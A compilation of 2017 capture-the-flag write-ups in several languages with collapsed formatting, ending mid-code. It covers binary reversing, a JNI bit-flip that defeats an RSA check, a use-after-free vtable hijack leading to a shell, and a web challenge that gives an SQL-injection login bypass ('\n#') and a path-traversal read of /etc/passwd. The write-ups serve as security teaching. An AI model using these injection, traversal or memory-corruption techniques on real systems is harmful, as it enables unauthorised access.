faster if I didn't want to print out the context sections in peda but it looked cool that way. I realized my eips as I stepped were in the 0xc2???? range. So I found that I had switch to that eip at 0xc4111c so I knew that was the first place I needed to put a breakpoint. I knew my binary eventually ran at eip 0x080????? something so I ran the script again this time checking that c2 was not in eip. I found _start next at 0x80487c3 I recognized it immediately. So I knew main was at 0x80488e4 since it was the first argument past to __libc_start_main within _start. ![](img/_start.png) The following could now get me to main: ```break *0xc4111crbreak *0xc420c9cbreak *0x80487c3cbreak *0x80488e4c```![main](img/main.png) I debugged the different functions in main saw that one printed out the "I'm Exhausted" message one that took our input and then another that printed our input. Didn't seem to complicated. At this point I decided to go to the end of main and see if there were any strings in memory. I want to see if the flag would be there. ```gdb-peda $ strings heap 50x80e806b: Ifkfkfk0x80e8073: RklUe201bjRiYWRpYXNjdn0=0x80ebd48: /home/shawn/fitctf2017/imagefile0x80ebfe8: linux-gate.so.1```Looks like base64 at 0x80e806b ```> echo -n RklUe201bjRiYWRpYXNjdn0= | base64 -dFIT{m5n4badiascv}```So I kicked myself for not running strings on memory segments in the first place. ### AnswerRun strings on memory```> cat extract.pyimport base64f = open('img.bmp', 'rb')d = f.read()v = d[0x7a:] #skip the headeru = ''.join([base64.b64decode(x) for x in v.split('\n')])open('img.out', 'wb').write(u) > python extract.py> gdb -q img.outgdb-peda $ rgdb-peda $ ctrl-cgdb-peda $ strings heap 50x80e806b: Ifkfkfk0x80e8073: RklUe201bjRiYWRpYXNjdn0=0x80ebd48: /home/shawn/fitctf2017/imagefile0x80ebfe8: linux-gate.so.1> echo -n RklUe201bjRiYWRpYXNjdn0= | base64 -dFIT{m5n4badiascv}```
This writeup does an in-depth step throuh of the spl code. It also has a nice flowgraph that demonstrates what happens to the input. No brute force necessary! I've also included an algorithm (and python script) that will decode any string encoded by this program with no brute force. [Much Ado Writeup](https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/reverse/Much_Ado_About_Hacking/Much_Ado_About_Hacking.html)
Chinese only, sorry... 檢視 java 程式,發現如果能進入 godMode(),就能在已知 name 的情況下,讀出 flag,name 可經由 get_targets('javaisnotfun') 取得要進入 godMode(),需先進入 connectToAI(),connectToAI() 可經由主選單輸入 0 進入,程式不會顯示 0 這個選項,需經由檢視原始碼得知進入 connectToAI() 後,服務會先給你一個 1~(2**2047-1) 之間的亂數 Y,使用者需輸入一個數 X,使得 Y = X**exponent mod publicKey (以 ** 表示次方),Y 是以 10進位表示,X則需以 16進位輸入,publicKey 長度為 2048 bitsexponet 與 publicKey 是程式中的常數,exponent = ”10001”,是以字串儲存,之後會被以 16 進位之 0x10001 帶入上面之計算由於 Y, exponent 與 publicKey 均是非常大的數,在僅知 這 3 個數的情況下,很難求出 X 解題關鍵在於如果能讓 exponent 變成 1,那麼 Y = X**1 mod publicKey,由於 Y < publicKey,因此讓 X = Y 即可 exponent 是 字串 "10001",如果能讓其變成 "00001",那麼 0x00001 = 1 檢視 c 程式下面片段,其作用是將某記憶體的值(64 bits),與 左移 bb 個位元後之 1 進行 xor 運算,'1' 的 ASCII 是 0x31,'0' 的 ASCII 是 0x30,0x31 xor 1 = 0x30因此如果能將 exponent 之 "10001" 位址帶入這個 function,讓其與 1 進行 xor,便能將 "10001" 改為 "00001"void __fastcall Java_NotFun_kill(JNIEnv *env, jobject thisObj, jlong address, jint bb){ *(_QWORD *)address ^= 1 << bb;}kill 這個 function,必須先進入 killUnicornMenu() 選單才會呼叫,而 killUnicornMenu() 必須先進入 gameMenu() 並連贏 5 場後才會呼叫在此先省略贏 5 場之方法,後續有空再補充,基本上要依據 service 給你的 5 個值,算出 3 個值分別輸入即可 假設已連贏 5 場進入 killUnicornMenu() 選單,會被要求提供 3 個輸入,"Give me the color of the unicorn you want to kill:" / "Where should I start?" / "How do you want to kill the unicorn?" color 便是記憶體中的值,在此我們希望找到 "10001" 之位址,而其是以 unicode 存在記憶體,因此輸入 0x30003000300031,即 10進位的 13511005043687473Where 會取得 java 物件位址,並將其與 0xFFFFFFFFFFF00000L 進行 & 運算,因我們希望找到 exponent 在記憶體中的值,這裡便輸入 exponentHow 會先 % 8 後,當成上面 kill 的 bb 參數,由於我們是要把 0x31 xor 1 得到 0x30,因此我們要讓 bb = 0,在此便輸入 16 (或其他適當之 8 的倍數),如果只輸入 8,若在找到 exponent 之前已有符合之 color 存在記憶體中,便無法正確蓋到 exponent 的值 當 exponent 已被成功蓋成 "00001" 之後,便呼叫 connectToAI(),將 service 要求的 10 進位值轉成 16進位輸入,便會進入 godMode(),接著輸入由 get_targets(''javaisnotfun'') 取得之 name,即得 flag 過程再順一遍1. 連線至 service 後,輸入 1 進入 Play 模式2. 連贏 5 場後,選擇 2 進入 killUnicornMenu()3. 分別輸入 13511005043687473 , exponent , 16 以將 exponent 之值由 "10001" 改成 "00001"4. 輸入 0 進入 connectToAI()5. 將 service 要求的 10 進位值轉成 16進位輸入6. 輸入 name,得到 flag ---輸出範例,這裡假設 yLqLgrcDawbiE6Xz 是取得之 name---Welcome! Unicorns are not having fun here... I hope you will not have fun too.1) Play versus AI2) Read score3) Exit7 (自己加入的功能,模擬贏 5 場之後)Your score is: 1000000Choose price:1) Write score2) Kill a unicorn2Give me the color of the unicorn you want to kill:13511005043687473Where should I start?exponentHow do you want to kill the unicorn?16AI found and killed the unicorn. You should feel bad.AI found and killed the unicorn. You should feel bad.1) Play versus AI2) Read score3) Exit0I want an unicorn of this color:132892958933156389826009932102917981895344843434600691533510093713554544271327566074115757835033991794274683606098690983254017571302697828397645657720941720522190648825219386873049503751034605877903769794095853477765658906914781475331926370536123858396758575364251200344307831903183499638444909665131909856905969719260584061563367591730479556583324585398996585347911991133280280773674841518172645654386275363516121112033163996034365616973071195895837282195658576052616703556627381800206107933030354952375153337047191701399566384747717709697306019840392502654344924033054539638636987566012342564318693530473779516587446945811d0387b2a7b7a9188844267be0b29aebf3e0518352e8627239ce3d7ca294aa5d63860ba8bee0b43b007f6d13315c457ab6c74e81e2c590ac62a47651ee592a177f50b5f0ccbfcf331f9463ddc225329d2a81e825a61242ce30ee2b390c20927f0bd147f9e76dff903d0825535f8381bd2f2067a4304a96d05a6de7546f8ed1f135ccac0387c5240c0c56334065ece6d1cdff4001929f9a65a90fc0240d550a8b5443066ac255633482db95394eac2f0ef9e762a946ab64120e7a7487772c6543324c525a29f573bfb843d6bd757ab62e3e0ee7344d78c17283e6b52e2678bb7a36146b5c5be61705e9cb4ec170f008797922f0e3624984a796958512f8I like you.come se fosse?yLqLgrcDawbiE6XzThis is your comment:FLGZOo1gAIGhzdWpThis is your score:9996011) Play versus AI2) Read score3) Exit--- ---反編譯之 .java---import java.io.BufferedReader;import java.io.File;import java.io.FileNotFoundException;import java.io.FilenameFilter;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.math.BigInteger;import java.security.SecureRandom;import java.util.Date;import java.util.Random;import java.util.Scanner;import java.util.regex.Matcher;import java.util.regex.Pattern; public class NotFun{ static { System.loadLibrary("notfun"); } private static int MAX_FILE_TIME = 1800000; private static int MAX_FILE_NUMBER = 25000; private String UnicornMaster = "UnicornMaster"; private String PoorUnicorn = "PoorUnicorn"; private boolean unicornKilled = false; BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); private String publicKey = "c0f3c2e0d35facffd5b78ea4447fac106c0976696aca375849192e2b5422bec0d382b83c53c2fe6aefd13e093ae03817dcfb280e18e41258b949863633fec9082500e73987ecfd562e36754c45319b160febca7fdd9aebe175dfd19f9610fa77b20d10fcf4437464969634a82d3d7a698c0ae0d96bfdb531dca6ad31e032c6c202c8f512da5725f76bf0d8fca0b37c6ff7b54e7de6a684de64bac60fd8cbb34a00a234893880bdb4ed0d76145226f64cc88c0306543811c38ad3f75bfd9a07186ef08786eec35674dd7aa521b36f7f621482054caba235dbae154bcba58cafb95e3accca1fb49059191c274c6639a6abffea78db00be7192cf960150f57e9c1b"; private String exponent = "10001"; public int getInt() { try { return Integer.valueOf(reader.readLine()).intValue(); } catch (NumberFormatException localNumberFormatException) { System.exit(1); } catch (IOException localIOException) { System.exit(1); } return 0; } public long getLong() { try { return Long.valueOf(reader.readLine()).longValue(); } catch (NumberFormatException localNumberFormatException) { System.exit(1); } catch (IOException localIOException) { System.exit(1); } return 0L; } public String getString() { try { String str = reader.readLine(); if (str == null) { System.exit(1); } return str; } catch (IOException localIOException) { System.exit(1); } return ""; } public long getStartingPoint() { String str1 = getString(); try { return Long.valueOf(str1).longValue(); } catch (NumberFormatException localNumberFormatException) { Class localClass = getClass(); try { Field localField = localClass.getDeclaredField(str1); localField.setAccessible(true); String str2 = (String)localField.get(this); long l2 = getUnicornLocation(str2); return l2 & 0xFFFFFFFFFFF00000L; } catch (NoSuchFieldException|SecurityException|IllegalArgumentException|IllegalAccessException localNoSuchFieldException) {} } return 0L; } public void print(Object paramObject) { String str; if (!(paramObject instanceof String)) { str = String.valueOf(paramObject); } else { str = (String)paramObject; } System.out.println(str); } public static void main(String[] paramArrayOfString) { cleanup(); NotFun localNotFun = new NotFun(); localNotFun.run(); } private static void cleanup() { long l1 = new Date().getTime(); File localFile1 = new File("."); File[] arrayOfFile1 = localFile1.listFiles(); if (arrayOfFile1.length <= MAX_FILE_NUMBER) { return; } for (File localFile2 : arrayOfFile1) { long l2 = localFile2.lastModified(); if (l2 != 0L) { if (localFile2.lastModified() < l1 - MAX_FILE_TIME) { localFile2.delete(); } } } } private void run() { print("Welcome! Unicorns are not having fun here... I hope you will not have fun too."); for (;;) { if (!mainMenu()) { break; } } print("Unicorns are still not having fun and I don't see any rainbow. Do you like dolphins?"); } private boolean mainMenu() { print("1) Play versus AI"); print("2) Read score"); print("3) Exit"); int i = getInt(); switch (i) { case 1: gameMenu(); break; case 2: readScoreMenu(); break; case 3: return false; case 0: connectToAI(); } return true; } private void gameFail() { print("AI won!"); System.exit(11); } private void game() { for (int i = 0; i < 5; i++) { Random localRandom = new Random(); int j = localRandom.nextInt(100); int k = localRandom.nextInt(100); int m = localRandom.nextInt(256); int n = localRandom.nextInt(10); int i1 = localRandom.nextInt(10); print("These are your unlucky numbers:"); print(Integer.valueOf(j)); print(Integer.valueOf(k)); print(Integer.valueOf(m)); m <<= 8; switch (n) { case 0: m = m * 2 + 3; break; case 1: m = m * 7 + 8; break; case 2: m = m * 3 + 1; break; case 3: m = m * 5 + 3; break; case 4: m = m * 2 + 9; break; case 5: m = m * 9 + 1; break; case 6: m = m * 6 + 2; break; case 7: m = m * 5 + 4; break; case 8: m = m * 8 + 2; break; case 9: m = m * 4 + 2; } switch (i1) { case 0: m = magic0(m); break; case 1: m = magic1(m); break; case 2: m = magic2(m); break; case 3: m = magic3(m); break; case 4: m = magic4(m); break; case 5: m = magic5(m); break; case 6: m = magic6(m); break; case 7: m = magic7(m); break; case 8: m = magic8(m); break; case 9: m = magic9(m); } print(Integer.valueOf(n)); print(Integer.valueOf(i1)); if (getInt() != j + 2) { gameFail(); } if (getInt() != magic000(k)) { gameFail(); } if (getInt() != m) { gameFail(); } } print("You won!"); } private void gameMenu() { long l1 = new Date().getTime(); game(); long l2 = new Date().getTime(); long l3 = 1000000L - (l2 - l1); print("Your score is: " + String.valueOf(l3)); print("Choose price:"); print("1) Write score"); print("2) Kill a unicorn"); int i = getInt(); switch (i) { case 1: writeScore(l3); break; case 2: killUnicornMenu(); break; default: print("Wrong choice"); System.exit(2); } } private void printScore(String paramString) { try { File localFile = new File(paramString); Scanner localScanner = new Scanner(localFile); print("This is your comment:"); print(localScanner.nextLine()); print("This is your score:"); print(localScanner.nextLine()); localScanner.close(); } catch (FileNotFoundException localFileNotFoundException) { print("I cannot find your file, I think you don't know the password!"); System.exit(4); } } private void readScoreMenu() { print("give me your name:"); String str1 = getString(); if (!checkValidStringFile(str1)) { print("wrong name!"); System.exit(3); } print("give me your password:"); String str2 = getString(); if (!checkValidStringFile(str2)) { print("wrong password!"); System.exit(3); } printScore(str1 + "_" + str2); } private void writeScore(long paramLong) { print("give me your name:"); String str1 = getString(); if (!checkValidStringFile(str1)) { print("wrong name!"); System.exit(3); } print("give me your password:"); String str2 = getString(); if (!checkValidStringFile(str2)) { print("wrong password!"); System.exit(3); } print("give me your comment:"); String str3 = getString(); if (!checkValidString(str3)) { print("wrong comment!"); System.exit(3); } try { PrintWriter localPrintWriter = new PrintWriter(str1 + "_" + str2); localPrintWriter.println(str3); localPrintWriter.print(String.valueOf(paramLong)); localPrintWriter.close(); } catch (FileNotFoundException localFileNotFoundException) { System.exit(10); } } private void connectToAI() { SecureRandom localSecureRandom = new SecureRandom(); BigInteger localBigInteger1 = new BigInteger(2047, localSecureRandom); print("I want an unicorn of this color:"); print(String.valueOf(localBigInteger1)); String str = getString(); BigInteger localBigInteger2 = new BigInteger(str, 16).modPow(new BigInteger(exponent, 16), new BigInteger(publicKey, 16)); if (localBigInteger1.equals(localBigInteger2)) { print("I like you."); godMode(); } else { print("You are not smart enough for this AI: hack harder or use more CPUs!"); } } private void godMode() { print("come se fosse?"); final String str = getString(); if (!checkValidStringFile(str)) { print("wrong name!"); System.exit(3); } File localFile = new File("."); File[] arrayOfFile = localFile.listFiles(new FilenameFilter() { public boolean accept(File paramAnonymousFile, String paramAnonymousString) { return paramAnonymousString.startsWith(str); } }); printScore(arrayOfFile[0].getName()); } private void killUnicornMenu() { print("Give me the color of the unicorn you want to kill:"); long l1 = getLong(); print("Where should I start?"); long l2 = getStartingPoint(); print("How do you want to kill the unicorn?"); int i = getInt(); if (unicornKilled) { print("Come on! You cannot kill too many unicorns."); System.exit(5); } int j = 0; int k = 0; for (;;) { long l3 = getUnicornColor(l2 + j); if (k == i / 8) { break; } if (l3 == l1) { kill(l2 + j, i % 8); print("AI found and killed the unicorn. You should feel bad."); unicornKilled = true; k++; } j++; if (j > 10000000) { break; } } } private boolean checkValidStringFile(String paramString) { Pattern localPattern = Pattern.compile("[0-9a-zA-Z]{3,20}"); Matcher localMatcher = localPattern.matcher(paramString); if (localMatcher.matches()) { return true; } return false; } private boolean checkValidString(String paramString) { Pattern localPattern = Pattern.compile("[0-9a-zA-Z !_,:]{1,100}"); Matcher localMatcher = localPattern.matcher(paramString); if (localMatcher.matches()) { return true; } return false; } private static native long getUnicornLocation(String paramString); private static native long getUnicornColor(long paramLong); private static native void kill(long paramLong, int paramInt); private static native int magic000(int paramInt); private static native int magic0(int paramInt); private static native int magic1(int paramInt); private static native int magic2(int paramInt); private static native int magic3(int paramInt); private static native int magic4(int paramInt); private static native int magic5(int paramInt); private static native int magic6(int paramInt); private static native int magic7(int paramInt); private static native int magic8(int paramInt); private static native int magic9(int paramInt); public NotFun() {}} ---反編譯之 libnotfun.c---/* This file has been generated by the Hex-Rays decompiler. Copyright (c) 2007-2016 Hex-Rays <[email protected]> Detected compiler: GNU C++*/ #include <defs.h> //-------------------------------------------------------------------------// Function declarations void *init_proc();// __int64 __gmon_start__(void); weak// __int64 __fastcall __cxa_finalize(_QWORD); weak__int64 (**deregister_tm_clones())(void);__int64 register_tm_clones();__int64 (**_do_global_dtors_aux())(void);__int64 frame_dummy();__int64 __fastcall Java_NotFun_getUnicornColor(JNIEnv *env, jobject thisObj, jlong address);void __fastcall Java_NotFun_kill(JNIEnv *env, jobject thisObj, jlong address, jint bb);__int64 __fastcall Java_NotFun_getUnicornLocation(JNIEnv *env, jobject thisObj, jstring s);__int64 __fastcall Java_NotFun_magic000(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic0(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic1(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic2(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic3(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic4(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic5(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic6(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic7(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic8(JNIEnv *env, jobject thisObj, jint n);__int64 __fastcall Java_NotFun_magic9(JNIEnv *env, jobject thisObj, jint n);void term_proc();// __int64 ITM_deregisterTMCloneTable(void); weak// __int64 __fastcall Jv_RegisterClasses(_QWORD); weak //-------------------------------------------------------------------------// Data declarations __int64 _JCR_LIST__ = 0LL; // weakvoid *_dso_handle = &_dso_handle; // weakchar edata; // weak_UNKNOWN unk_201037; // weak// extern _UNKNOWN _cxa_finalize; weak// extern _UNKNOWN _gmon_start__; weak //----- (0000000000000818) ----------------------------------------------------void *init_proc(){ void *result; // rax@1 result = &_gmon_start__; if ( &_gmon_start__ ) result = (void *)__gmon_start__(); return result;}// 850: using guessed type __int64 __gmon_start__(void); //----- (0000000000000870) ----------------------------------------------------__int64 (**deregister_tm_clones())(void){ __int64 (**result)(void); // rax@1 result = (__int64 (**)(void))(&unk_201037 - (_UNKNOWN *)&edata); if ( (unsigned __int64)(&unk_201037 - (_UNKNOWN *)&edata) > 0xE ) { result = &ITM_deregisterTMCloneTable; if ( &ITM_deregisterTMCloneTable ) result = (__int64 (**)(void))ITM_deregisterTMCloneTable(); } return result;}// 201030: using guessed type char edata;// 201048: using guessed type __int64 ITM_deregisterTMCloneTable(void); //----- (00000000000008A0) ----------------------------------------------------__int64 register_tm_clones(){ return 0LL;} //----- (00000000000008E0) ----------------------------------------------------__int64 (**_do_global_dtors_aux())(void){ __int64 (**result)(void); // rax@4 if ( !edata ) { if ( &_cxa_finalize ) __cxa_finalize(_dso_handle); result = deregister_tm_clones(); edata = 1; } return result;}// 860: using guessed type __int64 __fastcall __cxa_finalize(_QWORD);// 201028: using guessed type void *_dso_handle;// 201030: using guessed type char edata; //----- (0000000000000920) ----------------------------------------------------__int64 frame_dummy(){ if ( !_JCR_LIST__ || !&Jv_RegisterClasses ) return register_tm_clones(); Jv_RegisterClasses(&_JCR_LIST__); return register_tm_clones();}// 200E10: using guessed type __int64 _JCR_LIST__;// 201058: using guessed type __int64 __fastcall Jv_RegisterClasses(_QWORD); //----- (0000000000000955) ----------------------------------------------------__int64 __fastcall Java_NotFun_getUnicornColor(JNIEnv *env, jobject thisObj, jlong address){ return *(_QWORD *)address;} //----- (000000000000096E) ----------------------------------------------------void __fastcall Java_NotFun_kill(JNIEnv *env, jobject thisObj, jlong address, jint bb){ *(_QWORD *)address ^= 1 << bb;} //----- (00000000000009AD) ----------------------------------------------------__int64 __fastcall Java_NotFun_getUnicornLocation(JNIEnv *env, jobject thisObj, jstring s){ return *(_QWORD *)s;} //----- (00000000000009C9) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic000(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)(3 * n + 1);} //----- (00000000000009E6) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic0(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)(2 * n + 4);} //----- (00000000000009FF) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic1(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)(16 * n + 3);} //----- (0000000000000A19) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic2(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)(8 * n + 2);} //----- (0000000000000A33) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic3(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)(4 * n + 3);} //----- (0000000000000A4D) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic4(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)(4 * n + 1);} //----- (0000000000000A67) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic5(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)((n >> 2) + 3);} //----- (0000000000000A81) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic6(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)((n >> 3) + 3);} //----- (0000000000000A9B) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic7(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)((n >> 1) + 3);} //----- (0000000000000AB4) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic8(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)((n >> 4) + 7);} //----- (0000000000000ACE) ----------------------------------------------------__int64 __fastcall Java_NotFun_magic9(JNIEnv *env, jobject thisObj, jint n){ return (unsigned int)((n >> 1) + 1);} //----- (0000000000000AE8) ----------------------------------------------------void term_proc(){ ;} // ALL OK, 20 function(s) have been successfully decompiled
# Ransomware (Reversing 199 pts) >One of my very important [files](flag.locked_65d0360739a01c5737108cc172ea5c8681249c74) has been locked by a [ransomware](Ransomware_4815f616a40660c1f20f0e0ba54e1705a33e86c5), please help me to get it again! For this challenge after doing some quick analysis of the binary I realized this was a 64-bit ELF x86 executable and I recognized the C++ code from the output of strings. I ran the binary with strace and saw a lstat() call to important_files and there was an error returned "no such file or directory". So I created the important_files directory and created a file flag with the contents "hello". I confirmed the program encrypted flag and outputted flag.locked and deleted my old file. After trying several different things to see if I could figure out how the encryption works I was unsuccessful and opened the binary in [Radare](https://radare.org/r/) and gdb. Radare wasn't able to correctly disassemble the binary main function. So I used gdb to locate \_Dmain and then found the interesting function: \_D8ransom1112encrypt_fileFAyaAyaZv. After seeing some checks I found what I was looking for in the following code block. ![](encrypt_func.png) Using gdb I saw the bitmanip function grabs 4 bytes at a time from the contents of the current file being encrypted. These four bytes were passed to the encrypt_16_rounds function. The 16 rounds function was the following: ![](16_rounds.png)The first thing I noticed was the current four bytes from the file are xored with some value from memory. After analyzing this value in memory I saw the first 4 bytes of the file were always xored with 0x5e31bc3. Then after setting a watch point on the address 0x7ffff7fd673 in gdb (where the IV was stored). I noticed the output of each 4 byte encryption was used as the IV for the next 16 rounds of encryption. Next I took a look at the encrypt_one_round function. This function took as an argument the file bytes xored with the IV. I noticed 4 code blocks which took 4 bytes from memory and stored it into local_10h. The 4 bytes were taken from an array in memory with the symbol 'internal' ![](internal.png) The 19 bytes corresponded to each round (the first four bytes are stored in local_10h for the first round the four bytes starting from the second element (0x5e) was used for the next round and so on. This was used at the end of the following code block: ![](one_round_encrypt.png) At this point I knew local_8h contained the argument to the one round function. This code block to each byte of the argument and used it as an index into an array in memory 'suboxy' ![](suboxy.png) The resulting 4 bytes were then rotated right by one bit. Finally it is xored with local_10h and returned in the eax register. This encryption repeated 16 times and then the resulting encrypted value was passed in place of the IV for the next four bytes of data. I then reversed the function in [python](solve.py) and was able to get the flag. ![](answer)
Escaping a chroot, seccomp, namespace sandbox by abusing syscall numbers and uid namespace uid of 0.Finally abusing command injection to read the flag: [http://blog.rpis.ec/2017/04/bctf-2017-boj.html](http://blog.rpis.ec/2017/04/bctf-2017-boj.html)
[https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/FITHACK_For_Unknownpassword_200_Apr17.md](https://github.com/Brandon-Everhart/CTF/blob/master/Writeups/FITHACK_For_Unknownpassword_200_Apr17.md)
# babyuse - exploitation > nc 202.112.51.247 3456>> [Download Attachments](./e1b84982-14dc-45f3-a41b-fb80b4805bd1.zip) The basics of this exploit is [better covered by another team's writeup](https://github.com/Kileak/CTF/blob/master/2017/bctf/pwn/babyuse/readme.md),but my solution is similar: * Create two guns (with long name sizes)* Select gun0* Drop gun0* Use gun0 This gives me an address leak, since the `free()` when you drop the gun addsthe chunk to the linked list of free chunks. Now, changing the name of gun1 toa 15 character long name will re-use the structure of gun0, which gives me anarbitrary memory leak, and also an arbitrary vtable pointer. Need to do a bitmore leaking - first leak was to the libc `main_arena` structure, and rightbelow the address we leaked is the address to a chunk on the heap. After this,it's relatively easy to get EIP control by adding another gun which contains afake vtable in the name - placed at a predictable point of the heap, and thenrename gun1 twice to set a pointer to the vtable. But where to jump? Unlike the guys in the previously linked writeup, I couldn'tget an one-shot shell call to work, and had a hard time finding a goodsolution. It's easy enough to call `system()` in libc, but the first parameteris the gun object, and at the start of that object is a pointer to a vtable,not an usable string. _Unless_...it can be both! If I somehow manage to point to a valid vtablecontaining the address of `system()` at an address like `??006873`, it willbe seen as the string `"sh"` by the `system()` call, which then should give mea shell. So, the solution becomes: * Create a gun with a _huge_ (16MB) name, filled with the address of `system()`, offset by 3 bytes* Leak the address of this name (Only really need the upper 8 bits) and set `XX006873` as the vtable for gun0* Fire gun0 This worked perfectly when I tested it locally, but sending 16MB of data wastoo much for the competition system, so I reduced the amount of data I sent -this reduced the chance of the exploit working, but that was just a matter ofrunning the exploit multiple times. After a few runs I got lucky, and got theflag.
# foolme - misc > Can you fool me?>> nc 202.112.51.176 9999>> (FLAG format: BCTF{})>> [Download Attachments](./c08be7bc-c68e-4c18-8372-f3167c92fc97.zip) This is a challenge that receives a base64 encoded image, compares it to areference image, and if they are similar enough, sends both the submitted imageand reference image through the [Inception image classifier neural network](https://github.com/Hvass-Labs/TensorFlow-Tutorials/blob/master/inception.py).If the images are classified as different objects, you get the flag. The first similarity comparison is a simple bytewise difference comparisonbetween the raw RGB data of the images. The threshold is width\*height\*bytes_per_pixel\*3,which with the 299\*299\*3 size of the reference image gives us a minimum of3143 bytes - over 1000 pixels that can be fully changed. In practice, a lotmore, since the minimum only happens when a pixel changes from pure white topure black. So, what kind of things might be confusing for a neural network? I thoughtabout projects like [CV Dazzle](https://cvdazzle.com/) which camouflagesfaces with bright colors and hard lines, and decided to just paint a couple ofthin lines in high contrast across the image: ![not a flower](./edited.jpg) I saved the image, ensuring that JPEG quality was 100% avoid recompressionnoise that could trigger the threshold, and uploaded it. And it worked - gotthe flag!
# Baby Sqli - web > Come on Baby!>> http://baby.bctf.xctf.org.cn/ # Kitty Shop - web > Kitty shop or flag shop>> http://baby.bctf.xctf.org.cn/ This challenge had multiple flags on a single website. It actually contained 3flags, but no one managed to solve the reverse engineering "Flag Shop" challenge. The first problem was bypassing the login screen. Almost everything useful forSQL injection was filtered by a [Web Application Firewall](https://en.wikipedia.org/wiki/Web_application_firewall) - the username field allowed newlines which could then be used instead of spacesand tab characters, which were blocked, but any attempt at more complex SQLstatements were met with failure. Eventually I stumbled upon the extremelysimple `'\n#` input, which allowed me to login. Here, I was greeted with a shopwhere I could buy some things, but no flag in sight. Also there was a ReCaptchafor every purchase you wanted to make, so scripting was out of the question. There was also a weird "manual" link that used the script `load.php` - thisscript had a local file injection vulnerability, and I was able to list`../../../../../../../../../../etc/passwd` - but still no flag to be found.This LFE also seemed to block any file name with `php` in it, so I was unableto get the source of the web app. Eventually I stumbled upon the `.viminfo` file, which further pointed to thefile `app/encrypt0p@ssword/password`. After some more guessing I found thataccessing `../encrypt0p@ssword/password` worked, and got a file that containeda link to a server side binary and the password `c1i3nt_B@ckup`. Finally,inside the binary was the flag for "Baby SQLI" - turns out you were supposedto modify the purchase request and purchase item "D" on the website to get theflag. The second flag was even more elusive. The binary seemed to connect to anotherserver at port 8080 then did some crypto stuff/signature verification when youpicked option "B", but running it just gave an error - the same error you gotif you tried option "B" directly on the website. The actual server address itconnected to was encrypted with simple XOR - I decrypted it and got the address`http://202.112.51.232:8888/pcap` . Visiting this site allowed me to downloadwhat seemed to be a full packed capture of all service traffic at port 8080,but this didn't bring me any closer to the second flag. Finally, on a hunch, I fired up tcpdump and looked at the raw TCP traffic beingexchanged when I ran the binary, and there it was - the second flag, in plaintext. Seems like it was just the signature that was intentionally broken.
# Binary 100 - Random Pour ce challenge on a un binaire (ELF 64).On essaie de l'exécuter une première fois, et on voit qu'il y a 10 round, et on suppose qu'à chaque round on doit trouver le nombre aléatoire. On utilise alors GDB pour comprendre le fonctionnement du programme:On peut voir que valeur que l'on entre est comparée à l'instruction qui se trouve à l'adresse 0x0000000000400783 (main+134): ![](img/random1.png?raw=true) On met alors un breakpoint à cette instruction, on demarre le programme et on entre une valeur au hasard.Arrivé au breakpoint, on affiche la valeur en $rbp-0x88 : ![](img/random2.png?raw=true) Pour être sur que la valeur généré par le programme est bien aléatoire, on lance le programme, on entre la même valeur que précédemment et on regarde la valeur en $rbp-0x88 : ![](img/random2.png?raw=true) La valeur est la même! On met alors la valeur dans la variable EAX et on continue le programme. ![](img/random3.png?raw=true) On affiche de nouveaux la valeur de $rbp-0x88 et on l'assigne à EAX.On effectue ces actions pour les 10 rounds en notant les valeurs générées par le programme.On converti ensuite ces 10 valeurs en décimal.Puis on éxecute le programme normalement en entrant ces valeurs : ![](img/random4.png?raw=true) Et on obtient le flag ! # Binary 100 - Execution Pour ce challenge, un fichier nous ai fourni. Avec la commande "file", on voit que l'architecture de ce dernier est de l'ARM.On ouvre le programme avec GDB et on désassemble la fonction main : On peut voir qu'au lancement du programme des octets sont poussés sur la pile : ![](img/execution1.png?raw=true) On recupére ces valeurs en héxadecimal, les convertis en ASCII et les concatene : ```pythonm = [] to_convert = ['49','54','7b','33','78','65','63','75','74','69','30','6e','5f','63','30','6d','70','31','65','74','65','7d'] for c in to_convert: m.append(chr(int(c,16)))print(''.join(m))```On execute et on obtient le flag , sans le "F" du début : IT{3xecuti0n_c0mp1ete} FLAG : FIT{3xecuti0n_c0mp1ete} # Binary 200 - Omikuji Pour ce challenge, nous allons devoir reversé un .jar. C'est parti, on l'ouvre avec jd-gui pour décompiler le code :Et on obtient une fonction flag(): ```java public void flag() { int i = 1024; int y = 0; String c = "flag"; byte[] j = { 51, 32, 66, 105, 108, 108, 105, 111, 110, 32, 68, 101, 118, 105, 99, 101, 115, 32, 82, 117, 110, 32, 74, 97, 118, 97 }; for (int k = 0; k <= 8; k++) { y = k + y; } if (y % 2 == 0) { k = c + "error"; } else { k = 